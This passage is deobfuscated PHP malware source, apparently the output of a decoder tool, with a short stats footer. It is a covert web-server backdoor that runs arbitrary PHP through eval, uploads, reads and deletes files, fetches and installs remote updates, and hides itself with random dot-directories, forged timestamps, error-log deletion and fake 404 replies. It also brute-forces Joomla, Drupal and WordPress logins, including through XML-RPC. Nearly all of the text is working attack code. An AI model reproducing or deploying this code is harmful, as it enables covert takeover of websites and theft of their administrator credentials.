]\n");while(1){$_10=__3();if(filesize($_7['f']['tmp'])>0){$_11=file_get_contents($_7['f']['tmp']);file_put_contents($_7['f']['tmp'],'');file_put_contents($_7['f']['inp'],$_11,FILE_APPEND|LOCK_EX);}if(filesize($_7['f']['inp'])>0){$_12=file($_7['f']['inp']);__8(array('ltime'=> round(microtime(1)),'status'=> 'live','pid'=> $_6));for($_13=0;$_13!=10;$_13++){if(is_file($_7['cfg'] .'s')){__20(" * {$_6}\t [ STOP ]\n");__8(array('ltime'=> round(microtime(1)),'status'=> 'stop','pid'=> 0));die;}$_14=array_pop($_12);if(empty($_14)){continue;}if(!__10(array('act'=>'thread','thread'=>trim($_14)))){$_12[]=$_15;}file_put_contents($_7['f']['inp'],implode('',$_12));__6();}}else{__20(" * {$_6}\t [ SLEEP ]\n");__8(array('ltime'=> round(microtime(1)),'status'=> 'sleep','pid'=>0));__4();die;}sleep(2);__6();__4();}}elseif($_9['act']=='thread'AND!empty($_9['thread'])){__20(" + {$_6}\t [ THREAD START ]\n");$_16=unserialize(trim($_9['thread']));$_17=__1($_16);if($_17!='invalid'){$_18=$_16;$_18['status']=$_17;file_put_contents($_7['f']['out'],serialize($_18) ."\n",FILE_APPEND|LOCK_EX);}__20(" - {$_6}\t [ THREAD END ]\n");die;}elseif($_9['act']=='cmd'AND!empty($_9['cmd'])){if($_9['cmd']=='status'){__20(" \$ {$_6}\t [ STATUS ]\n");$_19['url']=$_5;$_19['cwd']=getcwd();$_19['ver']=$_4;$_19['limit']=$_2;$_19['time']=microtime(1);$_19['cfg']=__7();$_19['cns']=$_7;foreach($_7['f']as $_20=>$_21){$_19['cmd'][$_20]=count(file($_21));}}if($_9['cmd']=='config'and is_array($_9['cfg'])){__20(" \$ {$_6}\t [ CONFIG ]\n");__8($_9['cfg']);$_8=__7();$_19['status']='success';$_19['cfg']=$_8;}if($_9['cmd']=='php'and!empty($_9['php'])){__20(" \$ {$_6}\t [ EVAL PHP ]\n");$_22=__12($_9['php']);$_19['status']='success';$_19['data']=$_22;}if($_9['cmd']=='kill'){file_put_contents($_7['cfg'] .'s','');sleep(5);foreach($_7['f']as $_23){unlink($_23);$_19['kill'][]=$_23;}unlink($_7['cfg']);$_19['kill'][]=$_7['cfg'];unlink($_7['cfg'] .'s');rmdir($_7['dir']);$_19['kill'][]=$_7['dir'];unlink($_SERVER['SCRIPT_FILENAME']);$_19['kill'][]=$_SERVER['SCRIPT_FILENAME'];if(is_file('error_log')){unlink('error_log');$_19['kill'][]='error_log';}touch('.',$_7['time']);$_19['status']='success';}if($_9['cmd']=='update'and!empty($_9['update'])){__20(" \$ {$_6}\t [ UPDATE ]\n");file_put_contents($_7['cfg'] .'s','');$_24=parse_url($_9['update']);if(!empty($_24['host'])){__20(" \$ {$_6}\t [ DOWNLOAD ]\n");if($_9=__17($_9['update'])){if(!preg_match('#^<?#',$_9)){die;}}sleep(2);}else{$_9=$_9['update'];if(!preg_match('#^<?#',$_9)){die;}sleep(4);}__0('up',$_9);unlink($_7['cfg'] .'s');$_19['status']='success';}if($_9['cmd']=='reset'){$_19['status']='success';__20(" \$ {$_6}\t [ RESET ]\n");file_put_contents($_7['cfg'] .'s','');sleep(4);foreach($_7['f']as $_20=>$_25){$_19['reset'][]=$_25;file_put_contents($_25,'');}unlink($_7['cfg'] .'s');}if($_9['cmd']=='upload'){if($_REQUEST['file']['size']>0){if(move_uploaded_file($_REQUEST['file']['tmp_name'],$_9['file_name'])){$_19=array('status'=>1);$_26=$_9['file_name'];if(!empty($_9['chmod'])){chmod($_26,$_9['chmod']);}if(!empty($_9['touch'])){touch($_26,$_9['touch']);}if(!empty($_9['touch_dir'])){$_27=dirname($_26);touch($_27,$_9['touch_dir']);}}}}if($_9['cmd']=='listing'){$_19=array('data'=>__16($_9['path'],$_9['level']));$_19['status']='success';}if($_9['cmd']=='read'){if($_28=file_get_contents($_9['file_name'])){$_19['status']='success';$_19=array('status'=>1,'data'=>$_28);}}if($_9['cmd']=='remove'){if(unlink($_9['file_name'])){$_19['status']='success';$_19=array('status'=>1);touch(dirname($_9['file_name']),$_9['touch_dir']);}}if($_9['cmd']=='input'and!empty($_9['inp'])){__20(" \$ {$_6}\t [ INPUT ]\n");if(!file_put_contents($_7['f']['tmp'],$_9['inp'],FILE_APPEND|LOCK_EX)){$_19['er'][]='Write ' .$_7['f']['tmp'];}else{$_19['input']=1;}$_19['status']='success';}if(!empty($_9['out'])){__20(" \$ {$_6}\t [ OUTPUT ]\n");if($_29=file_get_contents($_7['f']['out'])){file_put_contents($_7['f']['out'],'');$_19['out']=$_29;}}}if(filesize($_7['f']['inp'])>0 OR filesize($_7['f']['tmp'])>0){if($_8['status']!='live'){__10(array('act'=>'live'));}elseif((microtime(1)-$_8['ltime'])>60){__10(array('act'=>'live'));__9($_19);}}__4();__9($_19);}else{__20(" ! {$_6}\tError: decrypt data.\n");__11();}}else{__20(" ! {$_6}\tError: empty key.\n");__11();}function __0($_20,$_9=''){global $_7,$_30,$_8;switch($_20){case "in":case "mv":$_30=0;$_31=__2($_SERVER['DOCUMENT_ROOT'],0,array());$_32='/.' .substr(sha1(rand()) .sha1(rand()),0,rand(15,25));foreach($_31 as $_33){if(is_writable($_33)){if(mkdir($_33 .$_32,0755)){$_34=$_33 .$_32;break;}}}if(empty($_34)){return false;}if($_20=='mv'){$_35=$_7['key'];$_36=$_7['encrypt'];}else{$_35=__14(rand(2,3));$_36=substr(sha1(__14(rand(20,30))),0,rand(15,18));}$_37=$_7;$_7=array('key'=> $_35,'encrypt'=> $_36,'time'=> $_30,'dir'=> $_34,'cfg'=> $_34 .'/.' .sha1(__14(rand(20,30))),'f'=> array('inp'=> $_34 .'/.' .sha1(__14(rand(20,30))),'out'=> $_34 .'/.' .sha1(__14(rand(20,30))),'tmp'=> $_34 .'/.' .sha1(__14(rand(20,30)))));$_3=serialize($_7);$_3=str_rot13($_3);$_38=file_get_contents($_SERVER['SCRIPT_FILENAME']);$_38=str_replace('n:6:{f:3:"xrl";f:2:"bk";f:7:"rapelcg";f:16:"15o06792165ro22q";f:4:"gvzr";v:1409471314;f:3:"qve";f:67:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748";f:3:"pst";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p4r19o3or1o628n4o11671rsp5sn5np5122n059o";f:1:"s";n:3:{f:3:"vac";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.p3941qq0p6onnq738qq8poq02n27609q6p21q3s7";f:3:"bhg";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.rrrq0rn87s0q86r380321pprpqsssqo2os97n845";f:3:"gzc";f:109:"/ubzr/ogih/qbznvaf/ogih.ve/choyvp_ugzy/grzcyngrf/.2720r79035880s748/.129958688p3158712565p11q2n338n1402652940";}}',$_3,$_38);if($_20=='mv'){foreach($_37['f']as $_20=>$_25){if(filesize($_25)>0){copy($_25,$_7['f'][$_20]);unlink($_25);}else{file_put_contents($_7['f'][$_20],'');chmod($_25,0644);}}}else{foreach($_7['f']as $_25){file_put_contents($_25,'');chmod($_25,0644);}}if($_20=='mv'){$_39=$_8;}else{$_39=array('status'=> '--','ltime'=> 0,'pid'=> 0);}$_39=serialize($_39);$_39=__13($_7['encrypt'],$_39);file_put_contents($_7['cfg'],$_39);__20("   Key:     " .$_7['key'] ."\n");__20("   Encrypt: " .$_7['encrypt'] ."\n");__20("   Dir:  " .$_7['dir'] ."\n");__20("   Touch:   " .date("d.m.y H:i:s",$_7['time']) ."\n");__20("   Size:    " .strlen($_38) ." byte.\n");__20("   Write:   " .$_SERVER['SCRIPT_FILENAME'] ."\n\n");break;case "up":$_40=$_7;$_40=serialize($_40);$_40=str_rot13($_40);$_38=$_9;$_38=str_replace('{' .'CFG_DATA' .'}',$_40,$_38);break;}if(file_put_contents($_SERVER['SCRIPT_FILENAME'],$_38)){touch($_SERVER['SCRIPT_FILENAME'],$_30);touch('.',$_30);return $_7;}else{return false;}}function __1($_16){global $_41,$_8;if(!is_array($_16)){return false;}elseif($_16['t']=='t'){$_42=rand(15,25);sleep($_42);return $_42;}elseif($_16['t']=='j'){$_43=__15();$_44=stream_context_create(array('http'=> array('method'=> 'GET','header'=> "Content-type: application/x-www-form-urlencoded\r\n" ."User-Agent: " .$_43)));if($_45=file_get_contents($_16['u'],false,$_44)){if(preg_match('#value="com_login"#si',$_45)){foreach($http_response_header as $_46){if(preg_match('#Set\-Cookie#si',$_46)){$_46=explode(':',$_46);$_46=explode(';',$_46[1]);$_46=explode('=',$_46[0]);break;}}$_47=$_46[0];$_48=$_46[1];preg_match("/([0-9a-f]{32})/si",$_45,$_49);$_49=$_49[1];$_50=http_build_query(array('username'=> $_16['l'],'passwd'=> $_16['p'],'lang'=> '','option'=> 'com_login','task'=> 'login',$_49 => 1));$_51=array("Content-type: application/x-www-form-urlencoded\r\n" ."User-Agent: " .$_43 ."Cookie: {$_47}={$_48};\r\n");$_44=stream_context_create(array('http'=> array('method'=> 'POST','content'=> $_50,'header'=> $_51)));if($_52=file_get_contents($_16['u'],false,$_44)){if(preg_match("/com_config/si",$_52)){$_53="success";}elseif(preg_match('#value="com_login"#si',$_52)){$_53="invalid";}elseif(preg_match('/3[0-9]{2}/',$http_response_header[0])){$_53='success';}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}return $_53;}elseif($_16['t']=='d'){$_54='Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0)';if(empty($_16['u'])OR empty($_16['p'])){return 'invalid';}$_44=stream_context_create(array('http'=> array('header'=>"User-Agent: " .$_54 ."\r\n")));if($_55=file_get_contents($_16['u'],false,$_44)AND!empty($_55)){$_56='';foreach($http_response_header as $_46){$_46=explode(': ',$_46);$_57=strtolower($_46[0]);$_58=trim(@$_46[1]);$_59[$_57]=$_58;if($_57 == 'set-cookie'){$_46=explode(':',$_46);$_60=explode(';',$_58);$_60=explode('=',$_60[0]);$_56 .= $_60[0] .'=' .$_60[1] ."; ";}}if(!empty($_59['location'])){$_16['u']=$_59['location'];}preg_match_all('/<form.*action=[\'"]{1}([^\'"]*)[\'"]{1}/',$_55,$_61);$_62=$_61[1][0];preg_match_all('/name=[\'"]{1}form_id[\'"]{1}.*(user|login){0,1}.*value=[\'"]{1}([^\'"]*)[\'"]{1}/',$_55,$_61);foreach($_61[2]as $_63){if(!preg_match('/search/',$_63)){$_64=$_63;}}preg_match_all('/form_build_id.*value=[\'"]{1}(.*)[\'"]{1}/',$_55,$_61);$_35=$_61[1][0];if(empty($_35)){return 'error';}$_11=explode('/',$_16['u']);$_16['u']=$_11[0] .'/' .$_11[1] .'/' .$_11[2] .str_replace('&amp;','&',$_62);$_65=http_build_query(array('name'=>$_16['l'],'pass'=>$_16['p'],'form_id'=>$_64,'op'=>'Log in','form_build_id'=>$_35));$_44=stream_context_create(array('http'=> array('method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded\r\n" ."User-Agent: " .$_54 ."\r\n" ."Cookie:" .$_56 ."\r\n",'content'=>$_65)));if($_66=file_get_contents($_16['u'],false,$_44)){print_r($http_response_header);if(preg_match('/302/',$http_response_header[0])){if($_66=file_get_contents($_16['u'] ."",false,$_44)){}return 'success';}if(preg_match('/200/',$http_response_header[0])and preg_match('/(name|pass)/',$_66)){$_53='invalid';}else{$_53='error';}}else{$_53='error';}}else{$_53='error';}return $_53;}elseif($_16['t']=='w'){$_54=trim(__15());$_44=stream_context_create(array('http'=> array('timeout'=> 10,'method'=> 'GET','header'=> "User-Agent: " .$_54 ."\r\n")));if($_55=file_get_contents($_16['u'],false,$_44)){if(preg_match('/pwd/',$_55)){$_56='Cookie: ';foreach($http_response_header as $_46){$_46=explode(': ',$_46);$_57=strtolower($_46[0]);$_58=trim($_46[1]);if($_57 == 'set-cookie'){$_46=explode(':',$_46);$_60=explode(';',$_58);$_60=explode('=',$_60[0]);$_56 .= $_60[0] .'=' .$_60[1] ."; ";}if($_57 == 'location'){$_16['u']=$_58;}}$_65=http_build_query(array('log'=> $_16['l'],'pwd'=> $_16['p'],'testcookie'=> 1,'wp-submit'=> 'Log in'));$_44=stream_context_create(array('http'=> array('method'=> 'POST','header'=> "Content-type: application/x-www-form-urlencoded\r\n" ."User-Agent: " .$_54 ."\r\n" ."Cookie:" .$_56 ."\r\n",'content'=> $_65)));if($_66=file_get_contents($_16['u'],false,$_44)){foreach($http_response_header as $_46){if(preg_match('#wordpress_logged_in#',$_46)){$_53="success";}}if(empty($_53)){if(preg_match('/login_error/',$_66)or preg_match('/pwd/',$_66)){$_53="invalid";}}if(empty($_53)){$_53="error";}}else{$_53="error";}}else{$_53="error";}}else{$_53="error";}return $_53;}elseif($_16['t']=='x'){$_67=array("Poster","WordPress","Windows Live Writer","wp-iphone","wp-android","wp-windowsphone");$_68=$_67[array_rand($_67)];$_69="<methodCall><methodName>wp.getUsersBlogs</methodName><params>" ."<param><value><string>{$_16['l']}</string></value></param>" ."<param><value><string>{$_16['p']}</string></value></param>" ."</params></methodCall>";$_70=stream_context_create(array('http'=> array('method'=> 'POST','header'=> 'Content-Type: text/xml' ."\r\nUser-agent: $_68\r\n",'content'=> $_69)));$_9=file_get_contents($_16['u'],false,$_70);if(preg_match_all('#<name>(.*)</name>.*<value><[^>]*>(.*)</[^>]*></value>#',$_9,$_71)){$_72=array();return 'success';}else{if(preg_match_all('#<value><int>([-0-9]*)</int></value>#',$_9,$_73)){$_74=$_73[1][0];return 'invalid';}else{return 'error';}}}elseif(is_array($_8['mdl'])AND in_array($_16['t'],$_8['mdl'])){return __10(array('id'=>serialize($_16)),$_8['mdl'][$_16['t']]['u']);}else{return 'error';}return false;}function __2($_75,$_76=0,$_31){global $_30;if(empty($_31)){$_31=array();}$_77=4;$_76++;if(empty($_30)){$_30=microtime(1);}if($_76>$_77){$_31=array_merge($_31,array('/tmp','/dev/shm','/var/tmp','/run/shm'));$_31[]=sys_get_temp_dir();$_31[]=preg_replace('#/[^/]*$#','',$_SERVER['SCRIPT_FILENAME']);shuffle($_31);$_31[]=$_SERVER['DOCUMENT_ROOT'];$_31=array_unique($_31);return $_31;}if($_78=opendir($_75)){while(false !==($_79=readdir($_78))){if($_79 == "."or $_79 == ".."){continue;}$_80=$_75 .DIRECTORY_SEPARATOR .$_79;if(filetype($_80)== "dir"){$_31[]=$_80;$_81=filectime($_80);if($_81<$_30){$_30=$_81;}array_merge($_31,__2($_80,$_76,$_31));}}}return $_31;}function __3(){Global $_7,$_8,$_6;if(!is_dir($_7['dir'])OR!is_writable($_7['dir'])){__20(" ! {$_6}\t Error: write {$_7['dir']}\n");__0('mv');die;}if(!is_file($_7['cfg'])OR!is_writable($_7['cfg'])){__20(" ! {$_6}\t Error: write config {$_7['cfg']}\n");__0('mv');die;}foreach($_7['f']as $_20=>$_25){if(!is_file($_25)){__20(" ! {$_6}\t Error: no file {$_25}\n");__0('mv');die;}elseif(!is_writable($_25)){__20(" ! {$_6}\t Error: write {$_25}\n");__0('mv');die;}}if(is_file('error_log')){__20(" ! {$_6}\t Error log found and removed: error_log\n");unlink('error_log');}if(!is_writable($_SERVER['SCRIPT_FILENAME'])){chmod($_SERVER['SCRIPT_FILENAME'],0644);chmod('.',0755);}}function __4(){Global $_7;foreach($_7['f']as $_20=>$_25){touch($_25,($_7['time']+rand(-200,200)));}touch($_7['cfg'],($_7['time']+rand(-200,200)));touch($_7['dir'],($_7['time']+rand(-200,200)));return true;}function __5($_9){$_9=str_rot13($_9);return unserialize($_9);}function __6(){global $_0,$_2,$_7,$_5,$_6;if($_2==0){return true;}if((microtime(1)-$_0)>=($_2-10)){__20(" - {$_6}\t [ RESTART ]\n");__10(array('act'=>'live'));die;}return false;}function __7(){global $_7;if($_39=file_get_contents($_7['cfg'])){$_39=__13($_7['encrypt'],$_39);$_39=unserialize($_39);if(is_array($_39)){return $_39;}}return false;}function __8($_39=array()){global $_7;$_82=array();$_82=__7();$_39=array_merge($_82,$_39);$_39=serialize($_39);$_39=__13($_7['encrypt'],$_39);if(file_put_contents($_7['cfg'],$_39)){return $_82;}else{return false;}}function __9($_83,$_84=1){global $_7;$_85=serialize($_83);if($_84==1){$_85=__13($_7['encrypt'],$_85);}$_85=__18($_85);$_85=base64_encode($_85);$_85="---- start ----\n" .$_85 ."\n---- end ----\n";die($_85);}function __10($_86,$_87=''){global $_5,$_7;$_88='';$_13=0;$_89=$_5;if(!empty($_87)){$_89=$_87;}$_90=parse_url($_89);$_86=serialize($_86);$_86=__13($_7['encrypt'],$_86);$_86=__18($_86);$_86=base64_encode($_86);$_88=$_7['key'] .'=' .urlencode($_86);$_29="POST $_90[path] HTTP/1.1\r\n";$_29 .="Host: $_90[host]\r\n";$_29 .= 'User-Agent: ' .__15();$_29 .= "Keep-Alive: 300\r\n";$_29 .= "Connection: keep-alive\r\n";$_29 .= "Cache-Control: max-age=0\r\n";$_29 .= "Content-Type: application/x-www-form-urlencoded\r\n";$_29 .= 'Content-Length: ' .strlen($_88) ."\r\n";$_29 .= "Connection: Close\r\n\r\n";$_29 .= $_88;if(!$_91=fsockopen($_SERVER['SERVER_ADDR'],$_SERVER['SERVER_PORT'],$_53,$_53,5)){if(is_callable("file_get_contents")){$_92=stream_context_create(array("http"=>array('method'=> 'POST','header'=> 'Content-type: application/x-www-form-urlencoded' ."\r\nUser-Agent: " .__15(),'content'=> http_build_query(array($_7['key']=>$_86)))));stream_set_blocking($_92,false);return file_get_contents($_89,false,$_92);}elseif(is_callable("curl_exec")){$_93=curl_init();curl_setopt($_93,CURLOPT_URL,$_89);curl_setopt($_93,CURLOPT_USERAGENT,__15());curl_setopt($_93,CURLOPT_HEADER,false);curl_setopt($_93,CURLOPT_POST,1);curl_setopt($_93,CURLOPT_RETURNTRANSFER,true);curl_setopt($_93,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($_93,CURLOPT_TIMEOUT,5);curl_setopt($_93,CURLOPT_POSTFIELDS,$_88);$_94=curl_exec($_93);curl_close($_93);return $_94;}else return false;}else{socket_set_blocking($_91,false);socket_set_timeout($_91,5);if(!fputs($_91,$_29)){return false;}time_nanosleep(0,500000000);fclose($_91);return true;}}function __11(){header($_SERVER["SERVER_PROTOCOL"] ." 404 Not Found");header("Status: 404 Not Found");exit;}function __12($_95){ob_start();eval($_95);return ob_get_clean();}function __13($_35,$_95){$_53=array();for($_13=0;$_13<256;$_13++)$_53[$_13]=$_13;$_96=0;for($_13=0;$_13<256;$_13++){$_96=($_96+$_53[$_13]+ord($_35[$_13%strlen($_35)]))%256;$_97=$_53[$_13];$_53[$_13]=$_53[$_96];$_53[$_96]=$_97;}$_13=0;$_96=0;$_98='';for($_99=0;$_99<strlen($_95);$_99++){$_13=($_13+1)%256;$_96=($_96+$_53[$_13])%256;$_97=$_53[$_13];$_53[$_13]=$_53[$_96];$_53[$_96]=$_97;$_98 .= $_95[$_99]^chr($_53[($_53[$_13]+$_53[$_96])%256]);}return $_98;}function __14($_100,$_44='abcdefghijklmnopqrstuvwxyz'){for($_53='',$_101=strlen($_44)-1,$_13=0;$_13<$_100;$_53 .= $_44[mt_rand(0,$_101)],++$_13);return $_53;}function __15(){$_102=array('i686','x86_64');$_103=array('Intel','PPC','U; Intel','U; PPC');$_104=array('en-US');$_97=rand(1,5);switch($_97){case 1:$_105='Gecko/' .date('Ymd',rand(strtotime(rand(2013,date("Y",microtime(1))) .'-1-1'),mktime())) .' Firefox/' .rand(3,6) .'.' .rand(1,9) .'.' .rand(1,9);$_106=array('(Windows NT ' .rand(5,7) .'.' .rand(0,1) .'; ' .$_104[array_rand($_104,1)] .'; rv:1.9.' .rand(0,2) .'.20) ' .$_105,'(X11; Linux ' .$_102[array_rand($_102,1)] .'; rv:' .rand(5,7) .'.0) ' .$_105,'(Macintosh; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .' rv:' .rand(2,6) .'.0) ' .$_105);return "Mozilla/5.0 " .$_106[array_rand($_106,1)] ."\r\n";break;case 2:$_107=rand(531,535) .'.' .rand(1,50) .'.' .rand(1,7);$_105=rand(4,5) .'.' .rand(0,1) .'.' .rand(1,7);$_106=array('(Windows; U; Windows NT ' .rand(5,6) .'.' .rand(0,1) .") AppleWebKit/$_107 (KHTML, like Gecko) Version/$_105 Safari/$_107",'(Macintosh; U; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .' rv:' .rand(2,6) .'.0; ' .$_104[array_rand($_104,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Version/$_105 Safari/$_107",'(iPod; U; CPU iPhone OS ' .rand(3,4) .'_' .rand(0,3) .' like Mac OS X; ' .$_104[array_rand($_104,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Version/" .rand(3,4) .".0.5 Mobile/8B" .rand(111,119) ." Safari/6$_107",);return "Mozilla/5.0 " .$_106[array_rand($_106,1)] ."\n";break;case 3:$_108=array('','; .NET CLR 1.1.' .rand(4320,4325) .'','; WOW64');$_106=array('(compatible; MSIE ' .rand(5,9) .'.0; Windows NT ' .rand(5,6) .'.' .rand(0,1) .'; Trident/' .rand(3,5) .'.' .rand(0,1) .')');return "Mozilla/" .rand(4,5) .".0 " .$_106[array_rand($_106,1)] ."\r\n";break;case 4:$_109=array('','; .NET CLR 1.1.' .rand(4320,4325) .'','; WOW64');$_106=array('(X11; Linux ' .$_102[array_rand($_102,1)] .'; U; ' .$_104[array_rand($_104,1)] .') Presto/2.9.' .rand(160,190) .' Version/' .rand(10,12) .'.00','(Windows NT ' .rand(5,6) .'.' .rand(0,1) .'; U; ' .$_104[array_rand($_104,1)] .') Presto/2.9.' .rand(160,190) .' Version/' .rand(10,12) .'.00');return "Opera/" .rand(8,9) .'.' .rand(10,99) .' ' .$_106[array_rand($_106,1)] ."\r\n";break;case 5:$_107=rand(531,536) .rand(0,2);$_106=array('(X11; Linux ' .$_102[array_rand($_102,1)] .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107",'(Windows NT ' .rand(5,6) .'.' .rand(0,1) .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107",'(Macintosh; U; ' .$_103[array_rand($_103,1)] .' Mac OS X 10_' .rand(5,7) .'_' .rand(0,9) .") AppleWebKit/$_107 (KHTML, like Gecko) Chrome/" .rand(13,15) .'.0.' .rand(800,899) .".0 Safari/$_107");return 'Mozilla/5.0' .$_106[array_rand($_106,1)] ."\r\n";break;}return false;}function __16($_75,$_77=1,$_76=0,$_110=array()){$_111=array();if($_76>$_77)return $_110;if($_78=opendir($_75)){while(false !==($_79=readdir($_78))){if($_79=='..'or $_79=='.')continue;$_112=$_75 .'/' .$_79;if(filetype($_112)== "dir"){$_111[]=$_112;}if(filetype($_112)!= "dir"or($_76+1)<=$_77){$_110['file'][]=array('name'=>$_112,'type'=>filetype($_112),'mtime'=>filemtime($_112),'chmod'=>fileperms($_112));}}$_76++;if(sizeof($_111)>0){foreach($_111 as $_27){$_110=scan($_27,$_77,$_76,$_110);}}}return $_110;}function __17($_5){$_113=trim(__15());$_94='';if(is_callable("curl_exec")){$_93=curl_init();curl_setopt($_93,CURLOPT_URL,$_5);curl_setopt($_93,CURLOPT_USERAGENT,$_113);curl_setopt($_93,CURLOPT_HEADER,false);curl_setopt($_93,CURLOPT_RETURNTRANSFER,true);$_94=curl_exec($_93);curl_close($_93);return $_94;}elseif(is_callable("file_get_contents")){return file_get_contents($_5,false,stream_context_create(array("http"=>array("header"=>"User-Agent: {$_113}"))));}elseif(is_callable("fsockopen")){if($_112=fsockopen(parse_url($_5,PHP_URL_HOST),80,$_114,$_114,15)){$_29="GET " .parse_url($_5,PHP_URL_PATH) ." HTTP/1.1\r\n";$_29.="Host: " .parse_url($_5,PHP_URL_HOST) ."\r\n";$_29.="User-Agent: {$_113}\r\n";$_29.="\r\n";fputs($_112,$_29);while(!feof($_112)){$_94.=fgets($_112,128);}fclose($_112);return $_94;}else return false;}else return false;}function __18($_95){$_115=array_flip(range("\0","\xFF"));$_116="";$_117=array();for($_13=0;$_13 <= strlen($_95);$_13++){@$_97=$_95[$_13];if(strlen($_97)&& isset($_115[$_116 .$_97])){$_116 .= $_97;}elseif($_13){$_117[]=$_115[$_116];$_115[$_116 .$_97]=count($_115);$_116=$_97;}}$_118=256;$_119=8;$_120="";$_121=0;$_122=0;foreach($_117 as $_74){$_121=($_121 << $_119)+$_74;$_122 += $_119;$_118++;if($_118>(1 << $_119)){$_119++;}while($_122>7){$_122 -= 8;$_120 .= chr($_121 >> $_122);$_121 &=(1 << $_122)-1;}}return $_120 .($_122?chr($_121 <<(8-$_122)):"");}function __19($_123){$_118=256;$_119=8;$_117=array();$_121=0;$_122=0;for($_13=0;$_13<strlen($_123);$_13++){$_121=($_121 << 8)+ord($_123[$_13]);$_122 += 8;if($_122 >= $_119){$_122 -= $_119;$_117[]=$_121 >> $_122;$_121 &=(1 << $_122)-1;$_118++;if($_118>(1 << $_119)){$_119++;}}}$_115=range("\0","\xFF");$_120="";foreach($_117 as $_13 => $_74){$_124=$_115[$_74];if(!isset($_124)){$_124=$_116 .$_116[0];}$_120 .= $_124;if($_13){$_115[]=$_116 .$_124[0];}$_116=$_124;}return $_120;}function __20($_125){}

Function Calls

microtime 1

Variables

None

Stats

MD5 cbbaede6f02c39a98c720819d529007e
Eval Count 0
Decode Time 203 ms